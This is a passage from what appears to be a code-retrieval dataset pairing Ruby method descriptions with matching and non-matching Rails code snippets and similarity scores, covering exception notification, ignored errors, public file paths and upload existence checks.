"def render_error(exception)\n # use the exception_notifier gem to send out an e-mail\n # to the notification list specified in config/environment.rb\n ExceptionNotifier.notify_exception(exception, env: request.env,\n data: {\n user: current_user,\n course: @course,\n assessment: @assessment,\n submission: @submission\n })\n\n respond_to do |format|\n format.html do\n # stack traces are only shown to instructors and administrators\n # by leaving @error undefined, students and CAs do not see stack traces\n if !current_user.nil? && (current_user.instructor? || current_user.administrator?)\n @error = exception\n\n # Generate course id and assessment id objects\n @course_name = params[:course_name] ||\n (params[:controller] == \"courses\" ? params[:name] : nil)\n if @course_name\n @assessment_name = params[:assessment_name] ||\n (params[:controller] == \"assessments\" ? params[:name] : nil)\n\n end\n end\n\n render \"home/error_500\"\n end\n format.json { head :internal_server_error }\n format.js { head :internal_server_error }\n end\n end",
"def user_not_authorized(exception)\n clear_session_and_token_data\n\n redirect_to root_url, flash: { error: \"It appears you are not provisioned with the proper permissions to access the MMT for Non-NASA Users. Please try again or contact #{view_context.mail_to('[email protected]', 'Earthdata Support')}.\" }\n end",
"def rescue_undefined_method\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (undefined method). \" +\n \"Please try again.\"\n end",
"def raised(error, controller_name, action_name)\n @error = error\n @controller_name = controller_name \n @action_name = action_name\n\n mail to: '[email protected]', subject: 'Pragmatic Store Error Raised'\n end"
] | [
"0.6937155",
"0.69290596",
"0.6915478",
"0.66785717",
"0.64892334",
"0.64892334",
"0.6461491",
"0.6461491",
"0.6461491",
"0.6461491",
"0.6455849",
"0.64511526",
"0.6448381",
"0.64462507",
"0.64460176",
"0.64460176",
"0.6437136",
"0.6428754",
"0.64042866",
"0.6399111",
"0.63460195",
"0.63255304",
"0.6317654",
"0.62968737",
"0.6290661",
"0.6289276",
"0.62800133",
"0.62453914",
"0.62445575",
"0.6240002",
"0.6233009",
"0.6199416",
"0.6197026",
"0.6195185",
"0.6180627",
"0.61684877",
"0.61684877",
"0.6163582",
"0.6163582",
"0.61605346",
"0.613069",
"0.6130121",
"0.6130121",
"0.6130121",
"0.6130121",
"0.6130121",
"0.6129481",
"0.61223364",
"0.6118011",
"0.60971373",
"0.60971236",
"0.6082139",
"0.6063406",
"0.6059564",
"0.6054208",
"0.60359645",
"0.6030758",
"0.60235953",
"0.6017448",
"0.60114634",
"0.6007368",
"0.6007066",
"0.6006709",
"0.60002625",
"0.5998016",
"0.59854585",
"0.5982828",
"0.597458",
"0.5970113",
"0.59689474",
"0.59665114",
"0.5951305",
"0.59466136",
"0.5928359",
"0.5928359",
"0.592239",
"0.5920148",
"0.5914208",
"0.59117824",
"0.5909893",
"0.5897731",
"0.58911806",
"0.58887124",
"0.5882828",
"0.5873571",
"0.5865673",
"0.5859951",
"0.5859428",
"0.5857503",
"0.58512396",
"0.5842357",
"0.5839097",
"0.58390105",
"0.5833723",
"0.5829869",
"0.5807029",
"0.57985127",
"0.57916176",
"0.578714",
"0.57856303",
"0.5785607"
] | 0.0 | -1 |
Sends the notice unless it is one of the default ignored exceptions | def notify_or_ignore(exception, opts = {})
notice = build_notice_for(exception, opts)
send_notice(notice) unless notice.ignore?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def notice!\n self.severity = :NOTICE\n end",
"def notice; end",
"def notify_or_ignore(exception, context = {})\n notify(exception, context) unless ignored?(exception)\n end",
"def rescue_action_in_public_with_errornot(exception)\n unless errornot_ignore_user_agent?\n ErrornotNotifier.notify_or_ignore(exception, errornot_request_data)\n end\n rescue_action_in_public_without_errornot(exception)\n end",
"def notice?\n severity == :NOTICE\n end",
"def notice\n #\n end",
"def send_exception_to_honeybadger_unless_filtered(exception_info)\n if exception_info.send_to_honeybadger?\n send_exception_to_honeybadger(exception_info)\n else\n log_info(\"Filtered exception using '#{exception_info.exception_description.filter_name}'; not sending notification to Honeybadger\")\n :skipped\n end\n end",
"def without_notices\n # execute the block with NOTICE messages disabled\n begin\n execute('SET client_min_messages = warning')\n yield\n ensure\n execute('RESET client_min_messages')\n end\n end",
"def notify_or_raise(ex)\n if should_raise?\n fail ex\n else\n notify_or_ignore_with_options(ex)\n end\n end",
"def notice=(message); end",
"def notice=(message); end",
"def _notice(msg, type = :notice)\n if type == :error\n add_error(msg)\n else\n add_msg(\"* #{msg}\", type)\n end\nend",
"def notify(exception, options = {})\n send_notice(build_notice_for(exception, options))\n end",
"def catch_simple\n begin\n yield\n rescue => e\n Rails.logger.info e.message\n end\n end",
"def no_rescue(*exceptions)\n @options[:rescue] =\n if !exceptions.nil? and !exceptions.empty?\n ->(e) { !e.class.in?(exceptions) }\n else\n NONE\n end\n end",
"def ignore &block\n begin; block.call; rescue; end\n end",
"def test_notice_error_returns_nil\n begin\n raise 'WTF'\n rescue => e\n assert_nil ::NewRelic::Agent.notice_error(e)\n end\n end",
"def notify(exception, opts = {})\n send_notice(build_notice_for(exception, opts))\n end",
"def wont_throw(sym, msg=nil)\n ThrowAssay.refute!(sym, :message=>msg, :backtrace=>caller, &self)\n end",
"def notice_error(e, options={})\n state = TingYun::Agent::TransactionState.tl_get\n txn = state.current_transaction\n if txn\n txn.exceptions.notice_error(e, options)\n state.transaction_sample_builder.trace.add_errors_to_current_node(state,e) rescue nil\n elsif TingYun::Agent.instance\n TingYun::Agent.instance.error_collector.notice_error(e, options)\n end\n end",
"def test_does_not_consider_unknown_errors\n ig = ScoutApm::ErrorService::IgnoredExceptions.new(context, [\"ThisDoesNotExist\", \"IgnoredExceptionsTest::FakeError\"])\n assert ig.ignored?(FakeError.new(\"ignore this one\"))\n end",
"def ignore!\n\t\t\t\tSignal.trap(@name, \"IGNORE\")\n\t\t\tend",
"def notice_signal\n @selfpipe[:writer].write_nonblock( '.' )\n rescue Errno::EAGAIN\n # Ignore writes that would block\n rescue Errno::EINTR\n # Retry if another signal arrived while writing\n retry\n end",
"def notice(msg) log(5, msg); end",
"def catch_exceptions; end",
"def skip_this_when(enabled:, expected_exception:)\n yield\n rescue expected_exception => e\n e.tap do\n skip e.message if enabled && e.is_a?(expected_exception)\n end\n end",
"def ignore!\n\t\t\t\tSignal.trap(@name, :IGNORE)\n\t\t\tend",
"def octokit_warn(*message)\n unless ENV['OCTOKIT_SILENT']\n warn message\n end\n end",
"def gocdkit_warn(*message)\n unless ENV['GOCDKIT_SILENT']\n warn message\n end\n end",
"def notice(target, message)\n send_data(\"NOTICE #{target} :#{message}\")\n end",
"def unknown(message)\n asl_log(@aslclient, @aslmsg, ASL_LEVEL_EMERG, message)\n end",
"def warned; end",
"def notice(t, m)\n @socket << \"NOTICE #{t} :#{m}\"\n end",
"def notice(receiver, message)\n raw Helpers.splitted(\"NOTICE #{receiver}\", message.to_s)\n end",
"def fatal; end",
"def notice(msg)\n @notices << msg\n blah @notices.last\n end",
"def notice(to_nick, text)\n split_send(\"NOTICE #{to_nick} :\", text)\n end",
"def rescue_action_in_public_with_notifier(exception) #:doc:\n response_code = response_code_for_rescue(exception)\n status = interpret_status(response_code)[0,3]\n respond_to do |format|\n # Personalize rescue rules for backend\n if controller_path =~ /^backend\\//\n # Usually when we made a post we submit the form\n # to a target iframe, so we need to respond to the parent.\n if request.post?\n responds_to_parent do\n render :update do |page|\n page.unmask\n page.ext_alert I18n.t(\"lipsiadmin.exceptions.#{status}.title\"), I18n.t(\"lipsiadmin.exceptions.#{status}.description\")\n end\n end\n else\n # We can't use status, because Backend.app.load don't permit load 500, 404 pages\n format.html { render :template => \"/exceptions/#{status}\" }\n format.js do\n render :update do |page|\n page.unmask\n page.ext_alert I18n.t(\"lipsiadmin.exceptions.#{status}.title\"), I18n.t(\"lipsiadmin.exceptions.#{status}.description\")\n end\n end\n format.all { render :nothing => true, :status => status }\n end\n else\n format.html { render :template => \"/exceptions/#{status}\", :status => status }\n format.all { render :nothing => true, :status => status }\n end\n end\n rescue Exception => e\n logger.error e.message\n erase_results\n rescue_action_in_public_without_notifier(exception)\n ensure\n if response_code != :not_found && Lipsiadmin::Mailer::ExceptionNotifier.send_mail\n Lipsiadmin::Mailer::ExceptionNotifier.deliver_exception(exception, self, request)\n end\n end",
"def notify_exception(e)\n # ignore exception because the exception caused tuple server is down...\n Util.ignore_exception do\n write(Tuple[:exception].new(uuid, agent_type, e))\n end\n end",
"def prohibit_all(except: [])\n set_all :prohibited, except: { exceptions: except, status: :allowed }\n end",
"def emergency!\n self.severity = :EMERGENCY\n end",
"def notify_airbrake(exception)\n # tested with airbrake 4.3.5 and 5.0.5\n if defined?(Airbrake)\n if(Airbrake.respond_to?(:notify_or_ignore))\n env['airbrake.error_id'] = Airbrake.notify_or_ignore(exception, airbrake_request_data) # V4\n else\n # V5\n notice = Airbrake::Rack::NoticeBuilder.new(env).build_notice(exception)\n env['airbrake.error_id'] = Airbrake.notify(notice)\n end\n end\n end",
"def ignore_raise\n yield\nrescue StandardError\n :raised\nend",
"def should_not_throw\n if match.output.index(/\\n(\\S*)Exception(.*?)\\n\\S/m)\n raise Bcpm::Tests::AssertionError, \"Player should not have thrown exceptions! \" +\n \"It threw #{$1}Exception#{$2}\"\n end\n if match.chatter.index(/\\n(\\S*)Exception(.*?)\\n\\S/m)\n raise Bcpm::Tests::AssertionError, \"Player should not have thrown exceptions! \" +\n \"It threw #{$1}Exception#{$2}\"\n end\n end",
"def exceptions\n end",
"def regardless(&block)\n yield\nrescue\nend",
"def miss_reason; end",
"def send_notice(message, *recipients)\n normalize_message(message) { |message|\n recipients.each { |recipient|\n send_raw(NOTICE, recipient, message)\n }\n }\n end",
"def fatal?; end",
"def fatal?; end",
"def rescue_action(e); raise e; end",
"def ignored?(exception)\n configuration.ignored?(exception)\n end",
"def exceptions; end",
"def send_overdue_notice(notice)\n p \"Reminder #{get_name} #{notice}\"\n end",
"def send_overdue_notice(notice)\n p \"Reminder #{get_name} #{notice}\"\n end",
"def notify_on_errs\n !(super == false)\n end",
"def supporting_method\n logger.warn 'This does nothing'\n end",
"def send_to_honeybadger(notice)\n @notices << notice\n end",
"def bypass_rescue\n @controller.extend(BypassRescue)\n end",
"def ignore!\n @should_ignore = true\n end",
"def bypass_rescue\n if ::Rails::VERSION::STRING >= '2.2'\n def controller.rescue_action(exception)\n raise exception\n end\n else\n def controller.rescue_action_with_handler(exception)\n raise exception\n end\n end\n end",
"def refute_nothing_raised(msg=nil, &block)\n RescueAssay.assert!(Exception, :message=>msg, :backtrace=>caller, &block)\n end",
"def to_notice(_notification_class, *_args)\n raise \"to be implemented by including class!\"\n end",
"def send_notice(text)\n client.api.send_notice(id, text)\n end",
"def warning?; end",
"def warning?; end",
"def warning?; end",
"def refute_exception\n yield\n rescue StandardError => e\n flunk e.message\n end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def warn\n\n end",
"def internal_error enabled\n @backtrace_500 = enabled\n end",
"def remote_notice(sender, body)\n if sender == 'server'\n sender = ''\n else\n sender = \"#{sender} \"\n end\n _notice \"#{sender}#{body}\", :notice\nend",
"def send_overdue_notice(notice)\n \"#{@name} #{notice}\"\n end",
"def ignore(ignore_msg = nil)\n capture_result(Assert::Result::Ignore, ignore_msg)\n end",
"def safe(quiet = false)\n begin\n yield\n rescue NoFreeConnectionError => e\n disable!\n custom_data['disabled_reason'] = :no_free_connections\n custom_data['disabled_description'] = 'Cannot find free connection or create new one'\n logger.error \"#{e}\\n#{e.backtrace}\" \n rescue => e\n unless quiet\n disable!\n custom_data['disabled_reason'] = :uncaught_error\n custom_data['disabled_description'] = \"Uncaught error #{e}. See logs for details\"\n end\n logger.error \"Unspecified error #{e}\\n#{e.backtrace}\" \n end\n end",
"def warn message\n super message if @verbosity > 1\n end",
"def expects_exception!\n @expects_exception = true\n end",
"def skip_backtrace; end",
"def warn(msg)\n #This is a stub, used for indexing\n end",
"def errback &block\n super\n end",
"def errback &block\n super\n end",
"def emergency(msg) log(0, msg); end",
"def assert_nothing_raised(msg=nil, &block)\n RescueAssay.refute!(Exception, :message=>msg, :backtrace=>caller, &block)\n end",
"def render_not_found(exception)\n # Render detailed diagnostics for unhandled exceptions rescued from\n # a controller action.\n rescue_action_locally(exception)\n end",
"def rescue_action_in_public(exception)\n # If the error class is NOT listed in the rails_error_class hash then we get a generic 500 error:\n # OTW if the error class is listed, but has a blank code or the code is == '200' then we get a custom error layout rendered\n # OTW the error class is listed!\n verbose = self.class.exception_notifiable_verbose && respond_to?(:logger) && !logger.nil?\n logger.info(\"[RESCUE STYLE] rescue_action_in_public\") if verbose\n status_code = status_code_for_exception(exception)\n if status_code == '200'\n notify_and_render_error_template(status_code, request, exception, ExceptionNotification::Notifier.get_view_path_for_class(exception, verbose), verbose)\n else\n notify_and_render_error_template(status_code, request, exception, ExceptionNotification::Notifier.get_view_path_for_status_code(status_code, verbose), verbose)\n end\n pass_it_on(exception, ENV, request, params, session, verbose)\n end",
"def warn(_message)\n raise NotImplementedError.new\n end",
"def noop(msg); \"200 \"; end",
"def on_uncaught_exception(&block)\n @channel.on_uncaught_exception(&block)\n end",
"def notice\n self[:notice]\n end",
"def show_detailed_exceptions?; end",
"def miss_reason=(_arg0); end",
"def no_500_error!\n return true if browser.all(:css, 'head title', :text => 'Internal Server Error').empty?\n sleep 30 if ENV['GIMME_CRAP']\n raise Unexpected500, browser.body\n end",
"def broken(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n if options[:force]\n puts 'forcing'\n else\n puts 'broken'\n end\n end",
"def process_action(*args)\n super\n rescue Exception => exception\n raise if RocketPants.pass_through_errors?\n # Otherwise, use the default built in handler.\n logger.error \"Exception occured: #{exception.class.name} - #{exception.message}\"\n logger.error \"Exception backtrace:\"\n exception.backtrace[0, 10].each do |backtrace_line|\n logger.error \"=> #{backtrace_line}\"\n end\n exception_notifier_callback.call(self, exception, request)\n render_error exception\n end",
"def user_not_authorized(exception)\n wiki_policy = exception.policy.class.to_s.underscore\n\n flash[:alert] = \"You are not authorized to do that!\"\n redirect_to(request.referrer || root_path)\n end",
"def wont_send(send_array, msg=nil)\n ExecutionAssay.refute!(:message=>msg, :backtrace=>caller) do\n self.__send__(*send_array)\n end\n end"
] | [
"0.65168333",
"0.6434321",
"0.640824",
"0.621561",
"0.6197395",
"0.61959904",
"0.6174005",
"0.6072776",
"0.60374594",
"0.5936417",
"0.5936417",
"0.5920188",
"0.59181964",
"0.587393",
"0.5858212",
"0.5795644",
"0.57782435",
"0.57683146",
"0.57156485",
"0.57066834",
"0.5706503",
"0.568325",
"0.56602067",
"0.5653671",
"0.5648821",
"0.5646353",
"0.5624539",
"0.5621187",
"0.5614422",
"0.56062245",
"0.55905885",
"0.558189",
"0.55428994",
"0.5530605",
"0.5530186",
"0.5520416",
"0.55066186",
"0.54949903",
"0.54874986",
"0.5483129",
"0.5474608",
"0.54724777",
"0.54713786",
"0.5464344",
"0.54539645",
"0.5438732",
"0.5432191",
"0.5431772",
"0.5411198",
"0.5411198",
"0.5395071",
"0.53950185",
"0.5389414",
"0.53797",
"0.53797",
"0.53748614",
"0.5361473",
"0.5358101",
"0.53540283",
"0.5351023",
"0.5344986",
"0.5334551",
"0.53335744",
"0.53274846",
"0.53253734",
"0.53253734",
"0.53253734",
"0.53132343",
"0.5311169",
"0.5311169",
"0.5311169",
"0.5311169",
"0.5310944",
"0.5310136",
"0.53063506",
"0.52993315",
"0.52959365",
"0.52958363",
"0.52875024",
"0.5286453",
"0.5282525",
"0.5281343",
"0.5276187",
"0.5276187",
"0.52678716",
"0.5267562",
"0.5267182",
"0.52616864",
"0.5258482",
"0.5258412",
"0.52506",
"0.52486855",
"0.5239893",
"0.52361244",
"0.5229596",
"0.52261996",
"0.5222564",
"0.5212124",
"0.5206992"
] | 0.72404635 | 0 |
Returns the path that should be used when inserting the saved file into a web page, if the file is stored in the public directory. If it is saved outside the public directory, +nil+ is returned. Remembers the path to saved files in the same way as +full_path+. | def public_path
public_regexp = Regexp.new("^#{RAILS_ROOT}/public")
full_path =~ public_regexp ? full_path.gsub(public_regexp, '') : nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def path\n return self.saved? ? @realfile.path : nil\n end",
"def full_path\n @full_path ||= path ? File.join(root, path) : root\n end",
"def full_path\n self.read_attribute(:full_path) || self.assign_full_path\n end",
"def full_file_path\n Rails.root.join('uploads', filepath).to_s\n end",
"def full_path\n File.join(@path, @name)\n end",
"def fullpath\n File.join(@root, @path)\n end",
"def full_path\n path\n end",
"def upload_full_path\n @upload_full_path ||= File.join(@upload_file_path, name)\n end",
"def fullpath\n @fullpath = File.join(root, path)\n end",
"def full_path\n must_be File\n File.realpath(self.path)\n end",
"def fullpath\n File.expand_path( @file )\n end",
"def save_path_with_own_path\n File.join(save_path, path)\n end",
"def path\n return if @file.blank?\n if is_path?\n File.expand_path(@file)\n elsif @file.respond_to?(:path) && [email protected]?\n File.expand_path(@file.path)\n end\n end",
"def full_path; end",
"def full_path\n container.root.join(path)\n end",
"def full_path\n container.root.join(path)\n end",
"def file_root(full=false)\n \"#{public_root if full}/stash/#{self.class.to_s}/#{self.id || 'tmp'}\"\n end",
"def full_path_from_current_attributes\r\n path = self.class.upload_options[:directory].\r\n gsub(Regexp.new(\"^(#{RAILS_ROOT})?/?\"), RAILS_ROOT + '/') + '/' +\r\n instance_directory + '/' + send(self.class.upload_options[:filename])\r\n path.gsub(/\\/+/, '/')\r\n end",
"def fullpath; end",
"def path\n real_path = Pathname.new(root).realpath.to_s\n full_path.sub(%r{^#{real_path}/}, '')\n end",
"def local_file_path\n afilePath = building.local_path + SAVE_PATH + id.to_s\n\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix\n end\n\n afilePath \n end",
"def original_fullpath; end",
"def file_path(was=false)\n if was\n self.site.directory_path.join(name_was)\n else\n self.site.directory_path.join(name)\n end\n end",
"def where_to_save\n output_dir = @template_options[OUTPUT_DIR]\n # assume absolute\n full_path = output_dir\n if (Pathname.new(output_dir)).relative?\n full_path = File.expand_path(output_dir, Dir.pwd)\n end\n return full_path\n end",
"def current_path\n file.try(:path)\n end",
"def get_file_path\n @path\n end",
"def file_path\n @file_path ||= lookup_file_path\n end",
"def stored_file_path\n File.join(path, stored_name)\n end",
"def absolute(file)\n if File.directory?(full_path)\n File.join(full_path, file)\n else\n full_path\n end\n end",
"def path\n if [email protected]? && File.exists?(@path)\n @path\n end\n end",
"def public_path\n # TODO: this might present an attack vector if the file is outside the web_root\n options[:web_root].to_s + '/' + self.relative_path.gsub(\"\\\\\", \"/\")\n end",
"def metadata_full_path\n @metadata_full_path ||= File.join(File.dirname(@full_path), name)\n end",
"def full_path(relative_filename)\n File.join(@mount_dir, relative_filename)\n end",
"def to_file_path localhost: true\n raise \"no local path for non-local URI #{to_s}\" unless local?(localhost: localhost)\n path = scrub(@path)\n #path = path.gsub(SLASH, File::SEPARATOR)\n path\n end",
"def current_file_path\n clurl = AssetSettings[:local_assets][@file_id].last\n clurl.sub(/\\A#{AssetSettings[:local_assets].assets_url_prefix}/,\n '') if clurl\n end",
"def full_path\n File.dirname(File.expand_path(serialized_filename))\n end",
"def path\n @path ||= @filename ? pathname.to_s : nil\n end",
"def save_path\n @save_path ||= self.class.image_save_path.dup\n end",
"def file_path\n FileUtils.mkdir_p @path unless Dir.exist? @path\n\n @path\n end",
"def path\n return File.join('', @public_path)\n end",
"def path\n @file.path\n end",
"def full_path(file_or_bucket)\n path = ''\n if(file_or_bucket.respond_to?(:bucket))\n path << '/' << bucket_path(file_or_bucket.bucket)\n end\n path << '/' << file_path(file_or_bucket)\n path\n end",
"def path\n @file.path\n end",
"def metadata_full_path\n @metadata_full_path ||= \"#{File.dirname(@full_path)}/#{name}\"\n end",
"def absolute_path(path)\n File.join(self.mounting_point.path, 'public', path)\n end",
"def path\n file.url\n end",
"def relative_path\n must_be File\n Pathname.new(self.full_path).relative_path_from(Pathname.new(Dir.pwd)).to_s\n end",
"def path\n @path ||= File.join(folder.path, filename)\n end",
"def current_file_path\n current_file.to_path\n end",
"def template_full_path\n @template_full_path ||= [template_base_path, template_filename].join('/')\n end",
"def absolute_path\n if is_url?\n # Use the last path component without the query string plus the name\n # of the resource in Base64. This should be both mildly readable and\n # also unique per invocation.\n url_part = URI(path).path.split(/\\//).last\n base64_name = Base64.strict_encode64(name).gsub(/\\=/, '')\n ::File.join(Chef::Config[:file_cache_path], \"#{base64_name}_#{url_part}\")\n else\n ::File.expand_path(path, Chef::Config[:file_cache_path])\n end\n end",
"def local_path\n @io.local_path\n end",
"def path\n File.join(self.drive.path, self.relative_path)\n end",
"def absolute_path(show_full_path=nil)\n if show_full_path.nil?\n @absolute_path\n else\n self.absolute_path = show_full_path\n end\n end",
"def absolutepath\n if absolute?\n self\n elsif to_s == \".\"\n realpath\n else\n parent.absolutepath + self.basename\n end\n end",
"def public_file_path\n self.file_path.gsub(\"#{::Rails.root}/public\", '')\n end",
"def full_path\n if path[0] == '/'\n path\n else\n File.join(Play.music_path,path)\n end\n end",
"def full_path(path)\n if path.nil?\n '<unknown>'\n else\n begin\n File.expand_path(path)\n rescue\n '<unknown>'\n end\n end\n end",
"def file_url\n file.attached? ? url_for(file) : ''\n end",
"def web_file_path \n afilePath = building.web_path + SAVE_PATH + id.to_s\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix \n end\n\n afilePath\n end",
"def path\n @new_filename || @filename\n end",
"def path\n # TODO: is this trip really necessary?!\n data.fetch(\"path\") { relative_path }\n end",
"def path\n location.nil? ? nil : location.path\n end",
"def path\n @public_path ||= if Rails.env.test?\n \"#{Rails.root}/tmp/site/#{relative_path}\"\n else\n \"#{Rails.root}/public/#{relative_path}\"\n end\n end",
"def save_full_file_path(file, full_path)\n @cookbook_full_file_paths[file.cookbook] ||= []\n @cookbook_full_file_paths[file.cookbook] << full_path\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def file_path\n storage.file_path(self.class, @id)\n end",
"def file_name_with_path\n root_path.dup + file_name\n end",
"def full_filename\n File.join(path, self.disk_filename)\n end",
"def path\n data.fetch(\"path\") { relative_path }\n end",
"def path\n @file\n end",
"def to_absolute_path\n File.join('', to.path(:default).to_s)\n end",
"def local_path\n check_and_copy_local_file_to_rails_public\n File.join('ajaxlibs', library_name, version, file_name)\n end",
"def full_digest_path\n File.join(@load_path, digest_path)\n end",
"def path\n @file\n end",
"def file_path(attachment_name, style=nil, full=false)\n f = __send__(attachment_name)\n return nil if f.nil?\n fn = style.nil? ? f[:name] : \"#{attachment_name}.#{style}\"\n \"#{file_root(full)}/#{fn}\"\n end",
"def path\n @unlinked ? nil : @tmpfile.path\n end",
"def safe_filepath\n filename.gsub!(/[\\?<>\\\\:\\*\\|\":]/, '_')\n full_path = File.join(root_path, filename)\n if(File.exists? full_path) && file_inside_root?(full_path)\n return full_path\n else\n raise 'Disallowed file requested'\n end\n end",
"def real_path(path)\n real_path = @rack_context.getRealPath(path)\n real_path.chomp!('/') if real_path\n # just use the given path if there is no real path\n real_path\n end",
"def local_uri\n\n return nil unless self.uri\n u = full_uri\n u[0, 1] == '/' ? \"#{RAILS_ROOT}/public#{u}\" : u\n end",
"def full_path_for(path)\n path = \"/#{path}\" unless path[0..0] == '/'\n path\n end",
"def path\n ::File.join(@folder, @file)\n end",
"def file_path\n\t\tself.class.file_path\n\tend",
"def path\n self.file.to_s\n end",
"def file_path\n dir\n end",
"def path\n begin\n file_path = @assignment.path\n rescue StandardError\n file_path = nil\n end\n file_path\n end",
"def fullpath\r\n@fullpath ||= super\r\nend",
"def root_file_path; end",
"def full_defined_path()\n return nil if is_root?\n return name if parent.is_root?\n return \"#{parent.full_defined_path}.#{name}\"\n end",
"def storage_path\n File.join(organization.storage_path, url_part)\n end",
"def get_full_path(sub_path)\n File.join(Dir.pwd, sub_path)\nend",
"def local_path_to_file=(value)\n @attributes[:local_path_to_file] = value\n reset_attributes\n calculate_attributes\n value\n end",
"def file_path\n base_image ? base_image.base_filename : nil\n end",
"def access_path\n @tempfile_path || path\n end",
"def root_path(full = true)\n\n if full\n path = Rails.root.join ProgramsDir\n else\n path = Pathname.new ProgramsDir\n end\n\n path.join self.name\n end",
"def file_path(ext = nil)\n return nil unless file_name(ext)\n \"#{self.base_path}/#{file_name(ext)}\"\n end",
"def full_rel_path()\n return nil if rel_path.nil?\n \n path = nil\n current_part = self\n while not current_part.nil? do\n if (not current_part.rel_path.nil?)\n if path.nil?\n path = current_part.rel_path\n else\n path = \"#{current_part.rel_path}.#{path}\"\n end\n end\n current_part = current_part.parent\n end\n \n return path\n end",
"def full_path\n return full_path = [self] if parent.nil?\n full_path = parent.full_path << self\n end",
"def file_path\n end"
] | [
"0.7514132",
"0.7460955",
"0.72375244",
"0.7008816",
"0.698824",
"0.6974727",
"0.69676834",
"0.68841445",
"0.6872106",
"0.6816394",
"0.6764531",
"0.676347",
"0.66960204",
"0.66363245",
"0.66237694",
"0.66237694",
"0.661472",
"0.66116416",
"0.66044027",
"0.6592236",
"0.6589502",
"0.65861577",
"0.653868",
"0.6533168",
"0.6522909",
"0.651689",
"0.6440036",
"0.64049894",
"0.63822436",
"0.63326067",
"0.630649",
"0.6302416",
"0.62995195",
"0.6296826",
"0.62798965",
"0.6248127",
"0.6242651",
"0.62030905",
"0.62024736",
"0.6197368",
"0.61916953",
"0.61773884",
"0.61727023",
"0.61658597",
"0.6165105",
"0.61607623",
"0.6150361",
"0.6119878",
"0.6112638",
"0.6111098",
"0.6109299",
"0.61077535",
"0.60925585",
"0.60924935",
"0.6068504",
"0.6061335",
"0.6060055",
"0.60513544",
"0.60473746",
"0.6042729",
"0.60339606",
"0.60240436",
"0.6021783",
"0.60208285",
"0.6017605",
"0.6007998",
"0.6007998",
"0.60016644",
"0.5996709",
"0.59857714",
"0.5977559",
"0.5972638",
"0.59658116",
"0.59652555",
"0.59540176",
"0.59535426",
"0.5951739",
"0.59511346",
"0.59341675",
"0.5933803",
"0.59269416",
"0.59224343",
"0.5920826",
"0.59200335",
"0.5914593",
"0.59097534",
"0.5909192",
"0.5908938",
"0.58998966",
"0.58996767",
"0.5896607",
"0.5894894",
"0.5887246",
"0.5872592",
"0.58562326",
"0.5855039",
"0.5852394",
"0.58373016",
"0.5835577",
"0.5834291"
] | 0.5868937 | 94 |
Returns +true+ if there is a saved file upload on the server for the record. Will continue to return +true+ (assuming the file does exist) even if you change the record's filename (see +full_path+ for further details). | def file_exists?
File.file?(full_path)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def saved?\n return [email protected]?\n end",
"def uploaded?( filename, buffer )\n return false if @upload_dir.nil?\n\n savedfile = \"#{@upload_dir}/#{filename}\"\n return false unless File.exist?( savedfile )\n\n old = File.read( savedfile, encoding: buffer.encoding )\n return true if buffer == old\n\n false\n end",
"def uploaded?(uploaded_file)\n uploaded_file.storage_key == storage_key.to_s\n end",
"def file?\n original_filename.present?\n end",
"def stored?(file)\n ok_file = get_ok_file_for(file)\n fail_file = get_fail_file_for(file) \n if ( File.exists?(ok_file) or File.exists?(fail_file) )\n return true\n end \n return false\n end",
"def stored?(file = self.file)\n uploaded?(file, store_key)\n end",
"def exists?\n # self.class.exists?(:filename => filename)\n 'CarrierWave::Storage::ActiveRecord::File#exists? FIXME!'\n end",
"def already_stored?\n !file_uniqueness\n end",
"def persisted?\n path.file? || @last_saved_file_path && @last_saved_file_path.file?\n end",
"def has_file\n if id == nil \n false\n else\n FileTest.exists?( local_file_path )\n end\n end",
"def exists?\n persistent? && (filename && filename.exist?)\n end",
"def already_uploaded?\n false\n seen_before = Zaphod::PhotoStorage.get(\"seen_id_#{@post_id}\",\"recommendation\")\n if seen_before && seen_before == @post_id\n @log.debug(\"already uploaded ID #{seen_before}... skipping\")\n true\n end\n end",
"def already_loaded?(uploaded_file)\n uploaded_file.reload\n originals = uploaded_file.original_inputs\n return false unless originals.present?\n sha2_hashes = []\n originals.each do |orig|\n return false if orig.nil? || orig.sha2_hash.nil?\n sha2_hashes << orig.sha2_hash\n end\n\n return false if sha2_hashes.empty?\n\n UploadedFile.joins(:original_inputs)\n .where(status: 'S')\n .where(validate_only: false)\n .where(original_input: {sha2_hash: sha2_hashes,\n mime_type: 'text/stix'}).count > 0\n end",
"def remote_file_exists?(full_path)\n remote_filetest_passes?('-e', full_path)\n end",
"def file?\n self.file.file?\n end",
"def remote_file?\n file? && @remote_file\n end",
"def fully_uploaded?(file_url)\n retry_network_errors(@network_error_retry_options) do\n @http_client.get_url_time(file_url) < Time.now - 2.hours\n end\n end",
"def storage_exists?\n File.exists?(file_path)\n end",
"def file_exists?\n !!file_path\n end",
"def file_exists?\n !!file_path\n end",
"def uploaded?(file, storage_key)\n file&.storage_key == storage_key\n end",
"def file_uploaded_now?(item = nil)\n item ||= default_to_self\n item.reload if item.is_a?(ActiveRecord::Base)\n file_uploaded?(item)\n end",
"def persisted?\n db_file && db_file.file?\n end",
"def valid?\n return false if @file_id.nil?\n true\n end",
"def saved?\n res = uri.nil?\n !res\n end",
"def a_save_exists?\n DataManager.save_file_exists?\n end",
"def valid?\n File.exist?(fullpath)\n end",
"def new_file?\n @new_file\n end",
"def file_exists?\n filepath.present? && s3_object(false).exists?\n end",
"def file?\n !!@file ||= false\n end",
"def file?\n [email protected]?\n end",
"def file_exist?\n return FileTest.exist?(@fileurl)\n end",
"def exist?\n File.exist? fullpath\n end",
"def file_exist?(filename)\n if __transport_connection\n __transport_connection.file(filename).exist?\n else\n File.exist?(filename)\n end\n end",
